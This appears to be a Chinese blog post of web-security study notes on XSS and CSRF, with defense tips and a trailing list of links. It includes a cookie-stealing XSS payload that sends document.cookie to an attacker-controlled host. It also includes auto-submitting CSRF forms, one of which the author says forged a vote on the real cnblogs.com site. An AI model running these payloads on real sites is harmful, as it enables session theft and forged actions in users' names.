Web 学习笔记 - 网络安全
前言
作为 前端开发者,了解一点 Web 安全方面的基本知识是有很必要的,未必就要深入理解。本文主要介绍常见的网络攻击类型,不作深入探讨。
正文
网络攻击的形式种类繁多,从简单的网站敏感文件扫描、弱口令暴力破解,到 SQL 注入,再到复杂的网络劫持等,种类万千。
本文只介绍以下两种攻击:
- XSS 攻击
- CSRF 攻击
如果你对其他更高大上的网络攻击有兴趣,可以点击这里:Web 安全学习笔记 - 高级网络攻击。
XSS 攻击
XSS,跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往Web页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
XSS 攻击实现的方式和 SQL 注入有点类似,是一种基于 DOM 结构的攻击。利用网站对用户输入、请求参数没有验证,在参数中构造恶意 JavaScript 脚本,嵌入页面运行,从而达到攻击的目的。
如果再细分,XSS 可分成以下三种:
- DOM-based XSS(基于 DOM的 XSS 攻击)
- Stored XSS(基于存储的 XSS 攻击)
- Reflected XSS(基于反射的 XSS 攻击)
这三种方式大同小异,这里不做细分。
简单示例
举个例子:
某网站的某个页面(http://example.com/page)是这样实现的:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
文章内容:<%= request.getParameter("content") %>
</body>
</html>
我们在浏览器打开连接:http://example.com/page?content=<script>alert('Hello world')</script>
,就可以看到一个 Hello world 的弹窗。
只要能在页面插入可运行的脚本,那么就可以做很多事。比如获取页面的某些信息,发送到自己的服务器。或者获取网站的 Cookie。
攻击者搭建了一个网站,写了个页面或接口:http://me.com?param=xxx
。只要有人访问这个页面,服务端就能把 param
参数保存在数据库。
然后再构造另一个链接:http://example.com/page?content=<script>window.open('me.com?param' + document.cookie)</script>
只要有人打开这个链接,就能把浏览器在 example.com 上的 cookie 保存到攻击者的服务器。剩下的事就是诱导点击,等着鱼上钩了。
XSS 防御
要做好 XSS 防御,主要是不要相信用户的输入,对所有的请求参数做检查。
使用富文本时,使用XSS规则引擎进行编码过滤。
当然,很多时候是不能过滤掉标签的,像博客园这样的网站,用户经常发代码,不能过滤掉,只能进行转码再显示:
CSRF
什么是 CSRF
CSRF(Cross-site request forgery跨站请求伪造,也被称为“one click attack” 或者 session riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。
简单地说,就是攻击者盗用了你的身份,以你的名义发送恶意请求。
简单示例
举个栗子。
某博客网站用户登录后,可以给其他用户点赞。点赞的 API 接口是 http://example.com/like?user_id=xxx
,并且这是一个 GET 请求接口。
A 是一个虚荣的程序员,为了赞丧心病狂。他的用户 ID 是 1234。于是他构造了一个这样的 URL:http://example.com/like?user_id=1234
。
很显然,只要其他用户在博客网站登陆了,并且用户的浏览器请求了这个 URL,那么 A 就能得到一个赞。
接着,他在博客网站写了一篇文章《程序员 30 天学会把妹技巧》,文章里插入这样的一张图片:
<img src="http://example.com/like?user_id=1234">
我们知道,浏览器对于图片请求是默认允许的。于是,当已登陆用户浏览他的文章时,A 就会获得一个赞。
以上示例可以看出,GET 请求的安全性是很低的。当然,这里使用 GET 请求不符合 HTTP 规范。
升级版示例
好景不长,某天,网站管理员忽然发现有一篇文章的赞数高得令人发指,文章质量却是惨不忍睹,很是可疑。看到底部,卧槽,自己竟然也点了推荐?于是赶忙叫程序员加班,把接口改成 POST 请求,修复了这个漏洞。
然并卵,这依然难不倒 A。于是他写了这段代码,放在他自己的站点上。
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<form id="form" method="POST" action="http://example.com/like">
<input type="hidden" name="user_id" value="1234">
</form>
<script>
var form = document.getElementById('form')
form.submit()
</script>
</body>
</html>
诱导点击是一个 CSRF 攻击的常用手段之一。于是他在文章写下:
深夜福利,有图有真相,请戳 http://laosiji.com。
没过多久,他的 ID 就被管理员封了。
真实示例
学以致用一直是我学习的常用方法之一。今天就拿博客园来做实验。
注意,以下示例仅供学习参考!
浏览器打开开发者工具,点击这篇文章下面的推荐按钮(请点击后再往下阅读),便可以看到博客园推荐 API 的地址是:
POST http://www.cnblogs.com/mvc/vote/VoteBlogPost.aspx
参数 | 说明 |
---|---|
blogApp | 用户名(页面 URL 中可以看到) |
postId | 文章 ID(页面 URL 中可以看到) |
voteType | Digg(赞、顶、推荐的意思) |
isAbandoned | false(不懂) |
然后写个静态页面,放在你的服务器上:
<html>
<head>
<meta charset="utf-8">
<title>深夜福利,有图有真相</title>
</head>
<body>
<form id="form" method="POST" action="http://www.cnblogs.com/mvc/vote/VoteBlogPost.aspx">
<input type="hidden" name="blogApp" value="smallchen">
<input type="hidden" name="postId" value="7424994">
<input type="hidden" name="voteType" value="Digg">
<input type="hidden" name="isAbandoned" value="false">
</form>
<script>
var form = document.getElementById('form')
form.submit()
</script>
</body>
</html>
因为不能推荐自己,我把 blogApp
和 postId
改成其他人的文章来测试。然后登录博客园,在服务器环境下打开页面,显示:
{"Id":0,"IsSuccess":true,"Message":"推荐成功","Data":null}
如果未登录,则会提示:
{
"Id": 0,
"IsSuccess": false,
"Message": "请先<a href='javascript:void(0);' onclick='login()'>登录</a>",
"Data": null
}
刷新文章页面,嗯~,确实推荐成功了!
如果你不需要赞,想要好评,也是可以滴。你可以在这篇文章下面写个好评,看看开发者工具的调试信息。
可以看出接口是:
POST http://www.cnblogs.com/mvc/PostComment/Add.aspx
参数 | 说明 |
---|---|
blogApp | 用户名 |
postId | 文章 ID |
parentCommentId | 0 |
body | 评论内容 |
相关代码:(注:完成这篇文章后发现这段代码不起作用,因为表单提交的方式不同,好像涉及到 request payload 相关的知识,我也不懂。这段代码就不删了。)
<html>
<head>
<meta charset="utf-8">
<title>深夜福利,有图有真相</title>
</head>
<body>
<form id="form" method="POST" action="http://www.cnblogs.com/mvc/vote/VoteBlogPost.aspx">
<input type="hidden" name="blogApp" value="smallchen">
<input type="hidden" name="postId" value="7424994">
<input type="hidden" name="parentCommentId" value="0">
<input type="hidden" name="body" value="卧槽,我中招了!">
</form>
<script>
var form = document.getElementById('form')
form.submit()
</script>
</body>
</html>
当然,你也可以做点其他事情,比如:[根据法律法规,此处无法显示]。
CSRF 防御
- 通过 referer、token 或者 验证码 来检测用户提交。
- 尽量不要在页面的链接中暴露用户隐私信息。
- 对于用户修改删除等操作最好都使用post 操作 。
- 避免全站通用的cookie,严格设置cookie的域。
总结
写这篇文章,主要是为了骗赞科普 Web 安全相关的知识,让大家对 Web 安全有基本的了解。
如果你对 Web 安全感兴趣,可以点击Web 安全学习笔记 - 高级网络攻击。
最后,献上福利:深夜福利,有图有真相。
Web 学习笔记 - 网络安全的更多相关文章
- [原创]java WEB学习笔记95:Hibernate 目录
本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...
- [原创]java WEB学习笔记75:Struts2 学习之路-- 总结 和 目录
本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...
- [原创]java WEB学习笔记66:Struts2 学习之路--Struts的CRUD操作( 查看 / 删除/ 添加) 使用 paramsPrepareParamsStack 重构代码 ,PrepareInterceptor拦截器,paramsPrepareParamsStack 拦截器栈
本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...
- java web 学习笔记 编码问题总结
java web 学习笔记 编码问题总结 1.非form表单中提交的中文参数---------------------------传递给Servlet服务器时,默认以iso-8859-1解码 ...
- Java Web 学习笔记 1
Java Web 学习笔记 1 一.Web开发基础 1-1 Java Web 应用开发概述 1.1.1 C/S C/S(Client/Server)服务器通常采用高性能的PC机或工作站,并采用大型数据 ...
- [原创]java WEB学习笔记11:HttpServlet(HttpServletRequest HttpServletRsponse) 以及关于 Servlet 小结
本博客为原创:综合 尚硅谷(http://www.atguigu.com)的系统教程(深表感谢)和 网络上的现有资源(博客,文档,图书等),资源的出处我会标明 本博客的目的:①总结自己的学习过程,相当 ...
- Java Web学习笔记之---EL和JSTL
Java Web学习笔记之---EL和JSTL (一)EL (1)EL作用 Expression Language(表达式语言),目的是代替JSP页面中复杂的代码 (2)EL表达式 ${变量名} ( ...
- Java Web学习笔记之---JSP
Java Web学习笔记之---JSP (一)JSP常用语法 (1)HTML注释 <!--所要注释的内容 --> 在客户端显示一个注释. (2)隐藏注释 <%--所要注释的内容--% ...
- JAVA Web学习笔记
JAVA Web学习笔记 1.JSP (java服务器页面) 锁定 本词条由“科普中国”百科科学词条编写与应用工作项目 审核 . JSP全名为Java Server Pages,中文名叫java服务器 ...
随机推荐
- 第2篇:用as3.0制作一个滚动条组件
本实例演示了实现一个滚动条基本功能的制作方法,没有添加改变皮肤,修改滚动条视框大小等功能,有兴趣的朋友可根据自己要求自行添加.使用时只需要通过以下一行代码创建滚动条组件: var myScrollba ...
- 服务器 设置 将 Tomcat 注册 到系统服务 及使用方法
将TOMCAT注册成系统服务的好处,就是方便维护,在服务器重启的时候,系统会自动启动系统服务,而不必手动操作,这就为我们在项目维护时省下不少麻烦. 在项目维护期间有很多客户只要一有问题,就电话招呼,而 ...
- SSH中的Invalid action class configuration that references an unknown class named.......
最近用SSH框架做项目的时候页面提交数据到后台,遇到了这个问题,百度了一下,网上的解决办法无非两种: 1.检查struts.xml ,applicationContext.xml的配置是否正确 2. ...
- 求n个逆元的O(n)算法
它的推导过程如下,设,那么 对上式两边同时除,进一步得到 再把和替换掉,最终得到 初始化,这样就可以通过递推法求出模奇素数的所有逆元了. 转自 http://blog.csdn.net/acdrea ...
- Akka(14): 持久化模式:PersistentActor
Akka程序的特点之一就是高弹性或者强韧性(resilient)的,因为Actor具有自我修复的能力.当Actor模式的程序出现中断情况如:系统崩溃.人为终结等,系统在重启后有关Actor可以恢复之前 ...
- 基于微信小程序的系统开发准备工作
腾讯推出微信小程序也有一段时间了,在各种行业里面也都掀起一阵阵的热潮,很多APP应用被简化为小程序的功能迅速推出,同时也根据小程序的特性推出各种独具匠心的应用,相对传统的APP来说,微信小程序确实能够 ...
- bzoj2038: [2009国家集训队]小Z的袜子(hose) [莫队]
Description 作为一个生活散漫的人,小Z每天早上都要耗费很久从一堆五颜六色的袜子中找出一双来穿.终于有一天,小Z再也无法忍受这恼人的找袜子过程,于是他决定听天由命……具体来说,小Z把这N只袜 ...
- [补] 如何在windows下用IDA优雅调试ELF
在windows下如何用IDA优雅调试ELF brief: 构建一个IDA-linux_server-docker镜像,优雅地IDA远程调试 使用传统虚拟机来运行一个linux程序就得跑一个完整的li ...
- html5 01 随记
一 HTML 是一种制作网站的标记语言 二.HTML基本语法 HTML 标签 html标签是html中的最基本单位 也是最重要的部分 通常使用尖角号 开始"<"和结束&qu ...
- (转)eclipse安装jetty
背景:在项目开发的过程中,一个老的项目使用的是jetty启动,在用tomcat启动的过程中出现了启动不了的异常,浪费了好多时间.因为项目一直是用jetty启动的,为了不浪费时间,也只好改变思路选择je ...